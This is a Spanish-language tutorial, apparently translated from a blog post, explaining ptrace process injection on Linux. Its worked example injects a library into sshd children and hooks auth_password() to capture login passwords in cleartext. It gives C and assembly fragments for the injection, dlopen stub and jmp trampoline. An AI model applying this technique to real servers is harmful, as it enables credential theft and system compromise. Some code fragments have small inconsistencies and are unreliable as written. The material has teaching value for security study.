
El objetivo que establecí fue muy simple: aprender la contraseña ingresada en sshd usando ptrace. Por supuesto, esta es una tarea algo artificial, ya que hay muchas otras formas más efectivas de lograr lo que desea (y con una probabilidad mucho menor de obtener
SEGV ), sin embargo, me pareció genial hacer eso.
¿Qué es ptrace?
Quienes estén familiarizados con las inyecciones en Windows probablemente conozcan las funciones
VirtualAllocEx()
,
WriteProcessMemory()
,
ReadProcessMemory()
y
CreateRemoteThread()
. Estas llamadas le permiten asignar memoria e iniciar hilos en otro proceso. En el mundo de Linux, el núcleo nos proporciona
ptrace
, gracias al cual los depuradores pueden interactuar con el proceso en ejecución.
Ptrace ofrece varias operaciones de depuración útiles, por ejemplo:
- PTRACE_ATTACH: le permite unirse a un solo proceso pausando un proceso depurado
- PTRACE_PEEKTEXT: le permite leer datos del espacio de direcciones de otro proceso
- PTRACE_POKETEXT: le permite escribir datos en el espacio de direcciones de otro proceso
- PTRACE_GETREGS: lee el estado actual de los registros de proceso
- PTRACE_SETREGS: registra el estado de los registros de proceso
- PTRACE_CONT: continúa la ejecución del proceso depurado
Aunque esta no es una lista completa de las características de ptrace, sin embargo, me encontré con dificultades debido a la falta de funciones que me son familiares en Win32. Por ejemplo, en Windows, puede asignar memoria en otro proceso utilizando la función
VirtualAllocEx()
, que devuelve un puntero a la memoria recién asignada. Como esto no existe en ptrace, debe improvisar si desea incrustar su código en otro proceso.
Bien, pensemos cómo tomar el control de un proceso usando ptrace.
Conceptos básicos de Ptrace
Lo primero que debemos hacer es unirnos al proceso que nos interesa. Para hacer esto, simplemente llame a ptrace con el parámetro PTRACE_ATTACH:
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
Esta llamada es simple como un atasco de tráfico, acepta el PID del proceso al que queremos unirnos. Cuando se produce una llamada, se envía una señal SIGSTOP, lo que obliga a detener el proceso de interés.
Después de unirse, hay una razón para guardar el estado de todos los registros antes de comenzar a cambiar algo. Esto nos permitirá restaurar el programa más tarde:
struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
Luego, necesita encontrar un lugar donde podamos escribir nuestro código. La forma más fácil es extraer información del archivo de mapas, que se puede encontrar en procfs para cada proceso. Por ejemplo, "/ proc / PID / maps" en un proceso sshd en Ubuntu se ve así:

Necesitamos encontrar el área de memoria asignada con el derecho de ejecución (muy probablemente "r-xp"). Tan pronto como encontremos el área que nos conviene, por analogía con los registros, guardamos el contenido, para que luego podamos restaurar el trabajo correctamente:
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
Con ptrace, puede leer una palabra de datos de la máquina (32 bits en x86 o 64 bits en x86_64) en la dirección especificada, es decir, para leer más datos, debe realizar varias llamadas, aumentando la dirección.
Nota: en Linux, también hay process_vm_readv () y process_vm_writev () para trabajar con el espacio de direcciones de otro proceso. Sin embargo, en este artículo me quedaré con el uso de ptrace. Si desea hacer algo diferente, es mejor leer sobre estas funciones.Ahora que hemos respaldado el área de memoria que nos gusta, podemos comenzar a sobrescribir:
ptrace(PTRACE_POKETEXT, pid, addr, word);
Al igual que PTRACE_PEEKTEXT, esta llamada solo puede grabar una palabra de máquina a la vez en la dirección especificada. Además, escribir más de una palabra de máquina requerirá muchas llamadas.
Después de cargar su código, debe transferirle el control. Para no sobrescribir los datos en la memoria (por ejemplo, la pila), utilizaremos los registros guardados anteriormente:
struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct));
Finalmente, podemos continuar la ejecución con PTRACE_CONT:
ptrace(PTRACE_CONT, pid, NULL, NULL);
Pero, ¿cómo sabemos que nuestro código ha terminado de ejecutarse? Utilizaremos una interrupción de software, también conocida como una instrucción "int 0x03" que genera SIGTRAP. Esperaremos esto con waitpid ():
waitpid(pid, &status, WUNTRACED);
waitpid (): una llamada de bloqueo que esperará a que el proceso se detenga con el identificador PID y escriba el motivo de la detención en la variable de estado. Aquí, por cierto, hay un montón de macros que simplificarán la vida al descubrir la razón de la parada.
Para saber si hubo una parada debido a SIGTRAP (debido a llamar a int 0x03), podemos hacer esto:
waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); }
En este punto, nuestro código incrustado ya se ha ejecutado y todo lo que tenemos que hacer es restaurar el proceso a su estado original. Restaurar todos los registros:
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
Luego devolveremos los datos originales en la memoria:
ptrace(PTRACE_POKETEXT, pid, addr, word);
Y desconectarse del proceso:
ptrace(PTRACE_DETACH, pid, NULL, NULL);
Eso es suficiente teoría. Pasemos a la parte más interesante.
Inyección sshd
Tengo que advertir que hay alguna posibilidad de que se caiga sshd, así que tenga cuidado y no intente verificar esto en el sistema de trabajo y especialmente en el sistema remoto a través de SSH: D
Además, hay varias formas mejores de lograr el mismo resultado, lo demuestro exclusivamente como una forma divertida de mostrar el poder de ptrace (estoy de acuerdo en que esto es mejor que la inyección en Hello World;)Lo único que quería hacer era obtener la combinación de inicio de sesión y contraseña al ejecutar sshd cuando el usuario está autenticado. Al ver el código fuente, podemos ver algo como esto:
auth-passwd.c int auth_password(Authctxt *authctxt, const char *password) { ... }
Parece un gran lugar para tratar de eliminar el nombre de usuario / contraseña transmitido por el usuario en texto claro.
Queremos encontrar una firma de función que nos permita encontrar su [función] en la memoria. Uso mi utilidad de desmontaje favorita, radare2:

Es necesario encontrar una secuencia de bytes que sea única y ocurra solo en la función auth_password. Para hacer esto, usaremos la búsqueda en radare2:

Sucedió que la secuencia
xor rdx, rdx; cmp rax, 0x400
xor rdx, rdx; cmp rax, 0x400
nuestros requisitos y se encuentra solo una vez en todo el archivo ELF.
Como nota ... Si no tiene esta secuencia, asegúrese de tener la última versión, que también
cierra la vulnerabilidad de mediados de 2016. (En la versión 7.6, esta secuencia también es única: aprox. Por.)
El siguiente paso es la inyección de código.
Descargar .so a sshd
Para cargar nuestro código en sshd, crearemos un pequeño código auxiliar que nos permitirá llamar a dlopen () y cargar una biblioteca dinámica que ya implementará la sustitución de "auth_password".
dlopen () es una llamada para la vinculación dinámica, que toma la ruta a la biblioteca dinámica en argumentos y la carga en el espacio de direcciones del proceso de llamada. Esta función se encuentra en libdl.so, que se vincula dinámicamente a la aplicación.
Afortunadamente, en nuestro caso, libdl.so ya está cargado en sshd, por lo que solo tenemos que ejecutar dlopen (). Sin embargo, debido a
ASLR, es muy poco probable que dlopen () esté en el mismo lugar cada vez, por lo que debe encontrar su dirección en la memoria sshd.
Para encontrar la dirección de la función, debe calcular el desplazamiento: la diferencia entre la dirección de la función dlopen () y la dirección inicial de libdl.so:
unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr);
Ahora que hemos calculado el desplazamiento, necesitamos encontrar la dirección inicial de libdl.so del archivo de mapas:

Conociendo la dirección base de libdl.so en sshd (0x7f0490a0d000, como se muestra en la captura de pantalla anterior), podemos agregar un desplazamiento y obtener la dirección dlopen () para llamar desde el código de inyección.
Pasaremos todas las direcciones necesarias a través de los registros usando PTRACE_SETREGS.
También es necesario escribir la ruta a la biblioteca implantada en el espacio de direcciones sshd, por ejemplo:
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16)
Al hacer todo lo posible durante la preparación de la inyección y cargar los punteros a los argumentos directamente en los registros, podemos facilitar el código de inyección. Por ejemplo:
Es decir, la inyección de código es bastante simple:
; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03
Es hora de crear nuestra biblioteca dinámica, que se cargará con el código de inyección.
Antes de continuar, considere una cosa importante que se utilizará ... El constructor de la biblioteca dinámica.
Constructor en bibliotecas dinámicas.
Las bibliotecas dinámicas pueden ejecutar código al cargar. Para hacer esto, marque las funciones con el decodificador "__attribute __ ((constructor))". Por ejemplo:
#include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); }
Puede copiar usando un comando simple:
gcc -o test.so --shared -fPIC test.c
Y luego verifique el rendimiento:
dlopen("./test.so", RTLD_LAZY);
Cuando se carga la biblioteca, también se llamará al constructor:

También utilizamos esta funcionalidad para hacernos la vida más fácil al inyectar código en el espacio de direcciones de otro proceso.
Biblioteca dinámica sshd
Ahora que tenemos la oportunidad de cargar nuestra biblioteca dinámica, necesitamos crear un código que cambie el comportamiento de auth_password () en tiempo de ejecución.
Cuando se carga nuestra biblioteca dinámica, podemos encontrar la dirección de inicio de sshd usando el archivo "/ proc / self / maps" en procfs. Estamos buscando un área con permisos "rx" en la que buscaremos una secuencia única en auth_password ():
d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } }
Como tenemos un rango de direcciones para buscar, estamos buscando una función:
const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) {
Cuando encontramos una coincidencia, debe usar mprotect () para cambiar los permisos en el área de memoria. Todo esto se debe a que el área de memoria es legible y ejecutable, y se requieren permisos de escritura para los cambios sobre la marcha:
mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)
Bueno, tenemos derecho a escribir en el área de memoria deseada y ahora es el momento de agregar un pequeño trampolín al comienzo de la función auth_password, que pasará el control al gancho:
char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";
Esto es equivalente a este código:
mov rax, 0x4142434445464748 jmp rax
Por supuesto, la dirección 0x4142434445464748 no es adecuada para nosotros y será reemplazada por la dirección de nuestro gancho:
*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;
Ahora podemos insertar nuestro trampolín en sshd. Para que la inyección sea bella y limpia, inserte el trampolín al comienzo de la función:
Ahora tenemos que implementar un enlace que se encargará del registro de los datos que pasan. Debemos asegurarnos de haber guardado todos los registros antes del inicio del enlace y restaurarlos antes de volver al código original:
Bueno, eso es todo ... en cierto modo ...
Desafortunadamente, después de todo lo que se ha hecho, esto no es todo. Incluso si falla la inyección del código sshd, puede notar que las contraseñas de usuario que está buscando todavía no están disponibles. Esto se debe al hecho de que sshd para cada conexión crea un nuevo hijo. Es el nuevo niño quien procesa la conexión y es en él donde debemos establecer el gancho.
Para estar seguro de que estamos trabajando con niños sshd, decidí escanear procfs en busca de archivos de estadísticas que especifiquen el PID padre sshd. Tan pronto como se encuentra dicho proceso, el inyector comienza por él.
Incluso hay ventajas para esto. Si todo sale mal y la inyección de código cae de SIGSEGV, solo se eliminará el proceso de un usuario, y no el proceso sshd principal. No es el mayor consuelo, pero claramente facilita la depuración.
Inyección en acción
Ok, veamos la demo:

El código completo se puede encontrar
aquí .
Espero que este viaje te haya dado suficiente información para meterte por tu cuenta.
Quiero agradecer a las siguientes personas y sitios que ayudaron a lidiar con ptrace: